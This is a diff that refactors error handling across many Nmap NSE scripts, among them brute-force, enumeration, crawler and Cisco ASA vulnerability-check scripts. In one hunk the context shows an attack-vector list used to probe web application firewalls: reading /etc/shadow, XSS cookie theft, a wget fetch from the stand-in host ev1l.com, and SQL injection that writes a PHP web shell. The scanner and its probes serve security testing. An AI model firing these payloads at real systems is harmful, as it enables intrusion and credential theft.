table.insert(result.rawheader, "(Request type: " .. request_type .. ")")
|
||||||
|
|||||||
@@ -45,7 +45,7 @@ local function decodeString(str)
|
|||||||
return str:gsub("\226\128\153", "'")
|
return str:gsub("\226\128\153", "'")
|
||||||
end
|
end
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
|
|
||||||
|
|||||||
@@ -58,7 +58,7 @@ local function decodeString(str)
|
|||||||
return str:gsub("\226\128\153", "'")
|
return str:gsub("\226\128\153", "'")
|
||||||
end
|
end
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
local function listDevices(mm)
|
local function listDevices(mm)
|
||||||
local status, devices = mm:getDevices()
|
local status, devices = mm:getDevices()
|
||||||
|
|||||||
@@ -151,6 +151,8 @@ local function go(host, port)
|
|||||||
return true, results, is_vulnerable
|
return true, results, is_vulnerable
|
||||||
end
|
end
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
-- Start by checking if '/' is protected -- if it is, we can't do the tests
|
-- Start by checking if '/' is protected -- if it is, we can't do the tests
|
||||||
local result = go_single(host, port, "/")
|
local result = go_single(host, port, "/")
|
||||||
@@ -179,7 +181,7 @@ action = function(host, port)
|
|||||||
else
|
else
|
||||||
stdnse.debug1("PROPFIND request failed.")
|
stdnse.debug1("PROPFIND request failed.")
|
||||||
end
|
end
|
||||||
return nmap.verbosity() > 0 and "ERROR: This web server is not supported." or nil
|
return fail("This web server is not supported.")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -200,7 +202,7 @@ action = function(host, port)
|
|||||||
local status, results, is_vulnerable = go(host, port)
|
local status, results, is_vulnerable = go(host, port)
|
||||||
|
|
||||||
if(status == false) then
|
if(status == false) then
|
||||||
return nmap.verbosity() > 0 and "ERROR: " .. results or nil
|
return fail(results)
|
||||||
else
|
else
|
||||||
if(#results == 0) then
|
if(#results == 0) then
|
||||||
if(is_vulnerable == false) then
|
if(is_vulnerable == false) then
|
||||||
|
|||||||
@@ -128,7 +128,7 @@ vulnerabilities via HTTP verb tampering. This is often found in web servers that
|
|||||||
local status, r = crawler:crawl()
|
local status, r = crawler:crawl()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -97,7 +97,7 @@ action = function(host, port)
|
|||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -133,7 +133,7 @@ PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Refl
|
|||||||
local status, r = crawler:crawl()
|
local status, r = crawler:crawl()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -103,7 +103,7 @@ action = function(host, port)
|
|||||||
|
|
||||||
local status, err = checkProxy(host, port, arg_url)
|
local status, err = checkProxy(host, port, arg_url)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return ("\n ERROR: %s"):format(err)
|
return stdnse.format_output(false, err)
|
||||||
end
|
end
|
||||||
|
|
||||||
local engine = brute.Engine:new(Driver, host, port)
|
local engine = brute.Engine:new(Driver, host, port)
|
||||||
|
|||||||
@@ -61,7 +61,7 @@ action = function(host, port)
|
|||||||
local status, r = crawler:crawl()
|
local status, r = crawler:crawl()
|
||||||
if (not(status)) then
|
if (not(status)) then
|
||||||
if (r.err) then
|
if (r.err) then
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -171,7 +171,7 @@ function action(host, port)
|
|||||||
|
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -137,7 +137,7 @@ function action(host, port)
|
|||||||
|
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -235,7 +235,7 @@ action = function(host, port)
|
|||||||
local status, r = crawler:crawl()
|
local status, r = crawler:crawl()
|
||||||
if (not(status)) then
|
if (not(status)) then
|
||||||
if (r.err) then
|
if (r.err) then
|
||||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -183,7 +183,7 @@ action = function(host, port)
|
|||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
@@ -247,7 +247,7 @@ action = function(host, port)
|
|||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -131,7 +131,7 @@ action = function(host, port)
|
|||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -41,7 +41,7 @@ categories = {"auth", "intrusive"}
|
|||||||
|
|
||||||
portrule = shortport.http
|
portrule = shortport.http
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
@@ -52,21 +52,13 @@ action = function(host, port)
|
|||||||
|
|
||||||
-- speedy exit if no usernames
|
-- speedy exit if no usernames
|
||||||
if(#usernames == 0) then
|
if(#usernames == 0) then
|
||||||
if(nmap.debugging() > 0) then
|
return fail("Didn't find any users to test (should be in nselib/data/usernames.lst)")
|
||||||
return "Didn't find any users to test (should be in nselib/data/usernames.lst)"
|
|
||||||
else
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check what response we get for a 404
|
-- Check what response we get for a 404
|
||||||
local result, result_404, known_404 = http.identify_404(host, port)
|
local result, result_404, known_404 = http.identify_404(host, port)
|
||||||
if(result == false) then
|
if(result == false) then
|
||||||
if(nmap.debugging() > 0) then
|
return fail(result_404)
|
||||||
return "ERROR: " .. result_404
|
|
||||||
else
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check if we can use HEAD requests
|
-- Check if we can use HEAD requests
|
||||||
@@ -93,11 +85,7 @@ action = function(host, port)
|
|||||||
-- Check for http.pipeline error
|
-- Check for http.pipeline error
|
||||||
if(results == nil) then
|
if(results == nil) then
|
||||||
stdnse.debug1("http.pipeline returned nil")
|
stdnse.debug1("http.pipeline returned nil")
|
||||||
if(nmap.debugging() > 0) then
|
return fail("http.pipeline returned nil")
|
||||||
return "ERROR: http.pipeline returned nil"
|
|
||||||
else
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
local found = {}
|
local found = {}
|
||||||
|
|||||||
@@ -208,7 +208,7 @@ local function parseScanReport(report)
|
|||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
|
|
||||||
|
|||||||
@@ -54,7 +54,7 @@ portrule = shortport.port_or_service(54340, "vlcstreamer", "tcp")
|
|||||||
|
|
||||||
local arg_dir = stdnse.get_script_args(SCRIPT_NAME .. ".dir") or "/"
|
local arg_dir = stdnse.get_script_args(SCRIPT_NAME .. ".dir") or "/"
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
|
|||||||
@@ -85,7 +85,7 @@ servers to remote users who send carefully crafted requests.]],
|
|||||||
local bypass_request = http.pipeline_go(host,port, all)
|
local bypass_request = http.pipeline_go(host,port, all)
|
||||||
if ( not(bypass_request) ) then
|
if ( not(bypass_request) ) then
|
||||||
stdnse.debug1("got no answers from pipelined queries")
|
stdnse.debug1("got no answers from pipelined queries")
|
||||||
return "\n ERROR: Got no answers from pipelined queries"
|
return stdnse.format_output(false, "Got no answers from pipelined queries")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ local anyconnect = require('anyconnect')
|
|||||||
local shortport = require('shortport')
|
local shortport = require('shortport')
|
||||||
local vulns = require('vulns')
|
local vulns = require('vulns')
|
||||||
local sslcert = require('sslcert')
|
local sslcert = require('sslcert')
|
||||||
|
local stdnse = require "stdnse"
|
||||||
|
|
||||||
description = [[
|
description = [[
|
||||||
Detects whether the Cisco ASA appliance is vulnerable to the Cisco ASA ASDM
|
Detects whether the Cisco ASA appliance is vulnerable to the Cisco ASA ASDM
|
||||||
@@ -70,7 +71,7 @@ Cisco Adaptive Security Appliance (ASA) Software 8.2 before 8.2(5.47), 8.4 befor
|
|||||||
local ac = anyconnect.Cisco.AnyConnect:new(host, port)
|
local ac = anyconnect.Cisco.AnyConnect:new(host, port)
|
||||||
local status, err = ac:connect()
|
local status, err = ac:connect()
|
||||||
if not status then
|
if not status then
|
||||||
return ("\n ERROR: %s"):format(err)
|
return stdnse.format_output(false, err)
|
||||||
else
|
else
|
||||||
local ver = ac:get_version()
|
local ver = ac:get_version()
|
||||||
if vuln_versions[ver['major']] and vuln_versions[ver['major']][ver['minor']] then
|
if vuln_versions[ver['major']] and vuln_versions[ver['major']][ver['minor']] then
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ local anyconnect = require('anyconnect')
|
|||||||
local shortport = require('shortport')
|
local shortport = require('shortport')
|
||||||
local vulns = require('vulns')
|
local vulns = require('vulns')
|
||||||
local sslcert = require('sslcert')
|
local sslcert = require('sslcert')
|
||||||
|
local stdnse = require "stdnse"
|
||||||
|
|
||||||
description = [[
|
description = [[
|
||||||
Detects whether the Cisco ASA appliance is vulnerable to the Cisco ASA SSL VPN
|
Detects whether the Cisco ASA appliance is vulnerable to the Cisco ASA SSL VPN
|
||||||
@@ -70,7 +71,7 @@ Cisco Adaptive Security Appliance (ASA) Software 8.x before 8.2(5.48), 8.3 befor
|
|||||||
local ac = anyconnect.Cisco.AnyConnect:new(host, port)
|
local ac = anyconnect.Cisco.AnyConnect:new(host, port)
|
||||||
local status, err = ac:connect()
|
local status, err = ac:connect()
|
||||||
if not status then
|
if not status then
|
||||||
return ("\n ERROR: %s"):format(err)
|
return stdnse.format_output(false, err)
|
||||||
else
|
else
|
||||||
local ver = ac:get_version()
|
local ver = ac:get_version()
|
||||||
if vuln_versions[ver['major']] and vuln_versions[ver['major']][ver['minor']] then
|
if vuln_versions[ver['major']] and vuln_versions[ver['major']][ver['minor']] then
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ local anyconnect = require('anyconnect')
|
|||||||
local shortport = require('shortport')
|
local shortport = require('shortport')
|
||||||
local vulns = require('vulns')
|
local vulns = require('vulns')
|
||||||
local sslcert = require('sslcert')
|
local sslcert = require('sslcert')
|
||||||
|
local stdnse = require "stdnse"
|
||||||
|
|
||||||
description = [[
|
description = [[
|
||||||
Detects whether the Cisco ASA appliance is vulnerable to the Cisco ASA SSL VPN
|
Detects whether the Cisco ASA appliance is vulnerable to the Cisco ASA SSL VPN
|
||||||
@@ -71,7 +72,7 @@ The SSL VPN implementation in Cisco Adaptive Security Appliance (ASA) Software 8
|
|||||||
local ac = anyconnect.Cisco.AnyConnect:new(host, port)
|
local ac = anyconnect.Cisco.AnyConnect:new(host, port)
|
||||||
local status, err = ac:connect()
|
local status, err = ac:connect()
|
||||||
if not status then
|
if not status then
|
||||||
return ("\n ERROR: %s"):format(err)
|
return stdnse.format_output(false, err)
|
||||||
else
|
else
|
||||||
local ver = ac:get_version()
|
local ver = ac:get_version()
|
||||||
if vuln_versions[ver['major']] and vuln_versions[ver['major']][ver['minor']] then
|
if vuln_versions[ver['major']] and vuln_versions[ver['major']][ver['minor']] then
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ local anyconnect = require('anyconnect')
|
|||||||
local shortport = require('shortport')
|
local shortport = require('shortport')
|
||||||
local vulns = require('vulns')
|
local vulns = require('vulns')
|
||||||
local sslcert = require('sslcert')
|
local sslcert = require('sslcert')
|
||||||
|
local stdnse = require "stdnse"
|
||||||
|
|
||||||
description = [[
|
description = [[
|
||||||
Detects whether the Cisco ASA appliance is vulnerable to the Cisco ASA SIP
|
Detects whether the Cisco ASA appliance is vulnerable to the Cisco ASA SIP
|
||||||
@@ -68,7 +69,7 @@ The SIP inspection engine in Cisco Adaptive Security Appliance (ASA) Software 8.
|
|||||||
local ac = anyconnect.Cisco.AnyConnect:new(host, port)
|
local ac = anyconnect.Cisco.AnyConnect:new(host, port)
|
||||||
local status, err = ac:connect()
|
local status, err = ac:connect()
|
||||||
if not status then
|
if not status then
|
||||||
return ("\n ERROR: %s"):format(err)
|
return stdnse.format_output(false, err)
|
||||||
else
|
else
|
||||||
local ver = ac:get_version()
|
local ver = ac:get_version()
|
||||||
if vuln_versions[ver['major']] and vuln_versions[ver['major']][ver['minor']] then
|
if vuln_versions[ver['major']] and vuln_versions[ver['major']][ver['minor']] then
|
||||||
|
|||||||
@@ -66,6 +66,8 @@ local attack_vectors_n2 = {"?p4yl04d=cat%20/etc/shadow", "?p4yl04d=id;uname%20-a
|
|||||||
"?p4yl04d=<img%20src='x'%20onerror=alert(document.cookie)%20/>", "?p4yl04d=wget%20http://ev1l.com/xpl01t.txt",
|
"?p4yl04d=<img%20src='x'%20onerror=alert(document.cookie)%20/>", "?p4yl04d=wget%20http://ev1l.com/xpl01t.txt",
|
||||||
"?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php'--"}
|
"?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php'--"}
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local orig_req, tests
|
local orig_req, tests
|
||||||
local path = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
|
local path = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
|
||||||
@@ -79,7 +81,7 @@ action = function(host, port)
|
|||||||
if orig_req.status and orig_req.body then
|
if orig_req.status and orig_req.body then
|
||||||
stdnse.debug3("Normal HTTP response -> Status:%d Body:\n%s", orig_req.status, orig_req.body)
|
stdnse.debug3("Normal HTTP response -> Status:%d Body:\n%s", orig_req.status, orig_req.body)
|
||||||
else
|
else
|
||||||
return "[ERROR] Initial HTTP request failed"
|
return fail("Initial HTTP request failed")
|
||||||
end
|
end
|
||||||
--if aggro mode on, try all vectors
|
--if aggro mode on, try all vectors
|
||||||
if aggro then
|
if aggro then
|
||||||
@@ -97,7 +99,7 @@ action = function(host, port)
|
|||||||
local test_results = http.pipeline_go(host, port, tests)
|
local test_results = http.pipeline_go(host, port, tests)
|
||||||
|
|
||||||
if test_results == nil then
|
if test_results == nil then
|
||||||
return "[ERROR] HTTP request table is empty. This should not ever happen because we at least made one request."
|
return fail("HTTP request table is empty. This should not ever happen because we at least made one request.")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -40,7 +40,7 @@ categories = {"safe", "discovery"}
|
|||||||
|
|
||||||
portrule = shortport.port_or_service(1344, "icap")
|
portrule = shortport.port_or_service(1344, "icap")
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
local function parseResponse(resp)
|
local function parseResponse(resp)
|
||||||
if ( not(resp) ) then
|
if ( not(resp) ) then
|
||||||
|
|||||||
@@ -99,6 +99,7 @@ Driver =
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
@@ -106,9 +107,9 @@ action = function(host, port)
|
|||||||
-- authentication mechanisms can be determined
|
-- authentication mechanisms can be determined
|
||||||
local helper = imap.Helper:new(host, port)
|
local helper = imap.Helper:new(host, port)
|
||||||
local status = helper:connect()
|
local status = helper:connect()
|
||||||
if (not(status)) then return "\n ERROR: Failed to connect to the server." end
|
if (not(status)) then return fail("Failed to connect to the server.") end
|
||||||
local status, capabilities = helper:capabilities()
|
local status, capabilities = helper:capabilities()
|
||||||
if (not(status)) then return "\n ERROR: Failed to retrieve capabilities." end
|
if (not(status)) then return fail("Failed to retrieve capabilities.") end
|
||||||
|
|
||||||
-- check if an authentication mechanism was provided or try
|
-- check if an authentication mechanism was provided or try
|
||||||
-- try them in the mech_prio order
|
-- try them in the mech_prio order
|
||||||
@@ -129,7 +130,7 @@ action = function(host, port)
|
|||||||
|
|
||||||
-- if no mechanisms were found, abort
|
-- if no mechanisms were found, abort
|
||||||
if ( not(mech) ) then
|
if ( not(mech) ) then
|
||||||
return "\n ERROR: No suitable authentication mechanism was found"
|
return fail("No suitable authentication mechanism was found")
|
||||||
end
|
end
|
||||||
|
|
||||||
local engine = brute.Engine:new(Driver, host, port)
|
local engine = brute.Engine:new(Driver, host, port)
|
||||||
|
|||||||
@@ -25,13 +25,15 @@ categories = {"default", "safe"}
|
|||||||
|
|
||||||
portrule = shortport.port_or_service({143, 993}, {"imap", "imaps"})
|
portrule = shortport.port_or_service({143, 993}, {"imap", "imaps"})
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local helper = imap.Helper:new(host, port)
|
local helper = imap.Helper:new(host, port)
|
||||||
local status = helper:connect()
|
local status = helper:connect()
|
||||||
if ( not(status) ) then return "\n ERROR: Failed to connect to server" end
|
if ( not(status) ) then return fail("Failed to connect to server") end
|
||||||
|
|
||||||
local status, capa = helper:capabilities(host, port)
|
local status, capa = helper:capabilities(host, port)
|
||||||
if( not(status) ) then return "\n ERROR: Failed to retrieve capabilities" end
|
if( not(status) ) then return fail("Failed to retrieve capabilities") end
|
||||||
helper:close()
|
helper:close()
|
||||||
|
|
||||||
if type(capa) == "table" then
|
if type(capa) == "table" then
|
||||||
|
|||||||
@@ -67,7 +67,7 @@ action = function( host, port )
|
|||||||
user = nmap.registry['informix-brute'][1]["username"]
|
user = nmap.registry['informix-brute'][1]["username"]
|
||||||
pass = nmap.registry['informix-brute'][1]["password"]
|
pass = nmap.registry['informix-brute'][1]["password"]
|
||||||
else
|
else
|
||||||
return " \n ERROR: No credentials specified (see informix-table.username and informix-table.password)"
|
return stdnse.format_output(false, "No credentials specified (see informix-table.username and informix-table.password)")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -57,6 +57,8 @@ dependencies = { "informix-brute" }
|
|||||||
|
|
||||||
portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "tcp", "open")
|
portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "tcp", "open")
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
local helper
|
local helper
|
||||||
local status, data
|
local status, data
|
||||||
@@ -77,7 +79,7 @@ action = function( host, port )
|
|||||||
user = nmap.registry['informix-brute'][1]["username"]
|
user = nmap.registry['informix-brute'][1]["username"]
|
||||||
pass = nmap.registry['informix-brute'][1]["password"]
|
pass = nmap.registry['informix-brute'][1]["password"]
|
||||||
else
|
else
|
||||||
return " \n ERROR: No credentials specified (see informix-table.username and informix-table.password)"
|
return fail("No credentials specified (see informix-table.username and informix-table.password)")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -94,7 +96,7 @@ action = function( host, port )
|
|||||||
local databases
|
local databases
|
||||||
status, databases = helper:GetDatabases()
|
status, databases = helper:GetDatabases()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return " \n ERROR: Failed to retrieve a list of databases"
|
return fail("Failed to retrieve a list of databases")
|
||||||
end
|
end
|
||||||
|
|
||||||
for _, db in ipairs(databases) do
|
for _, db in ipairs(databases) do
|
||||||
|
|||||||
@@ -72,7 +72,7 @@ icmpEchoRequest = function(ifname, host, addr)
|
|||||||
return status
|
return status
|
||||||
end
|
end
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host)
|
action = function(host)
|
||||||
|
|
||||||
@@ -93,7 +93,7 @@ action = function(host)
|
|||||||
end
|
end
|
||||||
|
|
||||||
if ( target == host.ip ) then
|
if ( target == host.ip ) then
|
||||||
return ("\n ERROR: Target can not be the same as the scanned host")
|
return fail("Target can not be the same as the scanned host")
|
||||||
end
|
end
|
||||||
|
|
||||||
if (icmpEchoRequest(ifname, host, target)) then
|
if (icmpEchoRequest(ifname, host, target)) then
|
||||||
|
|||||||
@@ -66,7 +66,7 @@ action = function( host, port )
|
|||||||
|
|
||||||
local target = stdnse.get_script_args('iscsi-brute.target')
|
local target = stdnse.get_script_args('iscsi-brute.target')
|
||||||
if ( not(target) ) then
|
if ( not(target) ) then
|
||||||
return "ERROR: No target specified (see iscsi-brute.target)"
|
return stdnse.format_output(false, "No target specified (see iscsi-brute.target)")
|
||||||
end
|
end
|
||||||
|
|
||||||
local helper = iscsi.Helper:new( host, port )
|
local helper = iscsi.Helper:new( host, port )
|
||||||
|
|||||||
@@ -34,7 +34,7 @@ author = "Patrik Karlsson"
|
|||||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||||
categories = {"safe", "discovery"}
|
categories = {"safe", "discovery"}
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local helper = isns.Helper:new(host, port)
|
local helper = isns.Helper:new(host, port)
|
||||||
|
|||||||
@@ -360,6 +360,8 @@ local function checkUserThread( host, port, realm, user, result )
|
|||||||
condvar "signal"
|
condvar "signal"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
|
|
||||||
local realm = stdnse.get_script_args("krb5-enum-users.realm")
|
local realm = stdnse.get_script_args("krb5-enum-users.realm")
|
||||||
@@ -368,17 +370,17 @@ action = function( host, port )
|
|||||||
|
|
||||||
-- did the user supply a realm
|
-- did the user supply a realm
|
||||||
if ( not(realm) ) then
|
if ( not(realm) ) then
|
||||||
return "ERROR: No Kerberos REALM was supplied, aborting ..."
|
return fail("No Kerberos REALM was supplied, aborting ...")
|
||||||
end
|
end
|
||||||
|
|
||||||
-- does the realm appear to exist
|
-- does the realm appear to exist
|
||||||
if ( not(isValidRealm(host, port, realm)) ) then
|
if ( not(isValidRealm(host, port, realm)) ) then
|
||||||
return "ERROR: Invalid Kerberos REALM, aborting ..."
|
return fail("Invalid Kerberos REALM, aborting ...")
|
||||||
end
|
end
|
||||||
|
|
||||||
-- load our user database from unpwdb
|
-- load our user database from unpwdb
|
||||||
local status, usernames = unpwdb.usernames()
|
local status, usernames = unpwdb.usernames()
|
||||||
if( not(status) ) then return "ERROR: Failed to load unpwdb usernames" end
|
if( not(status) ) then return fail("Failed to load unpwdb usernames") end
|
||||||
|
|
||||||
-- start as many threads as there are names in the list
|
-- start as many threads as there are names in the list
|
||||||
local threads = {}
|
local threads = {}
|
||||||
|
|||||||
@@ -52,6 +52,8 @@ categories = {"discovery", "safe"}
|
|||||||
|
|
||||||
portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
|
portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
function action(host,port)
|
function action(host,port)
|
||||||
|
|
||||||
local username = stdnse.get_script_args("ldap-novell-getpass.username")
|
local username = stdnse.get_script_args("ldap-novell-getpass.username")
|
||||||
@@ -59,15 +61,14 @@ function action(host,port)
|
|||||||
local account = stdnse.get_script_args("ldap-novell-getpass.account")
|
local account = stdnse.get_script_args("ldap-novell-getpass.account")
|
||||||
|
|
||||||
if ( not(username) ) then
|
if ( not(username) ) then
|
||||||
return "\n ERROR: No username was supplied (ldap-novell-getpass.username)"
|
return fail("No username was supplied (ldap-novell-getpass.username)")
|
||||||
end
|
end
|
||||||
if ( not(account) ) then
|
if ( not(account) ) then
|
||||||
return "\n ERROR: No account was supplied (ldap-novell-getpass.account)"
|
return fail("No account was supplied (ldap-novell-getpass.account)")
|
||||||
else
|
else
|
||||||
-- do some basic account validation
|
-- do some basic account validation
|
||||||
if ( not(account:match("^[Cc][Nn]=.*,") ) ) then
|
if ( not(account:match("^[Cc][Nn]=.*,") ) ) then
|
||||||
return "\n ERROR: The account argument should be specified as:\n" ..
|
return fail("The account argument should be specified as: \"CN=name,OU=orgunit,O=org\"")
|
||||||
" \"CN=name,OU=orgunit,O=org\""
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -76,7 +77,7 @@ function action(host,port)
|
|||||||
local anon_bind = bin.pack("H", "300c020101600702010304008000" )
|
local anon_bind = bin.pack("H", "300c020101600702010304008000" )
|
||||||
local socket, _, opt = comm.tryssl( host, port, anon_bind, nil )
|
local socket, _, opt = comm.tryssl( host, port, anon_bind, nil )
|
||||||
if ( not(socket) ) then
|
if ( not(socket) ) then
|
||||||
return "\n ERROR: Failed to connect to LDAP server"
|
return fail("Failed to connect to LDAP server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, errmsg = ldap.bindRequest( socket, {
|
local status, errmsg = ldap.bindRequest( socket, {
|
||||||
@@ -106,7 +107,7 @@ function action(host,port)
|
|||||||
data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020102") .. data } )
|
data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020102") .. data } )
|
||||||
|
|
||||||
status = socket:send(data)
|
status = socket:send(data)
|
||||||
if ( not(status) ) then return "ERROR: Failed to send request" end
|
if ( not(status) ) then return fail("Failed to send request") end
|
||||||
|
|
||||||
status, data = socket:receive()
|
status, data = socket:receive()
|
||||||
if ( not(status) ) then return data end
|
if ( not(status) ) then return data end
|
||||||
@@ -120,7 +121,7 @@ function action(host,port)
|
|||||||
|
|
||||||
if ( rescode ~= 0 ) then
|
if ( rescode ~= 0 ) then
|
||||||
local errmsg = ( #response >= 4 ) and response[4] or "An unknown error occurred"
|
local errmsg = ( #response >= 4 ) and response[4] or "An unknown error occurred"
|
||||||
return "\n ERROR: " .. errmsg
|
return fail(errmsg)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- make sure we get a NMAS Get Password Response back from the server
|
-- make sure we get a NMAS Get Password Response back from the server
|
||||||
@@ -134,6 +135,6 @@ function action(host,port)
|
|||||||
table.insert(output, ("Password: %s"):format(universal_pw))
|
table.insert(output, ("Password: %s"):format(universal_pw))
|
||||||
return stdnse.format_output(true, output)
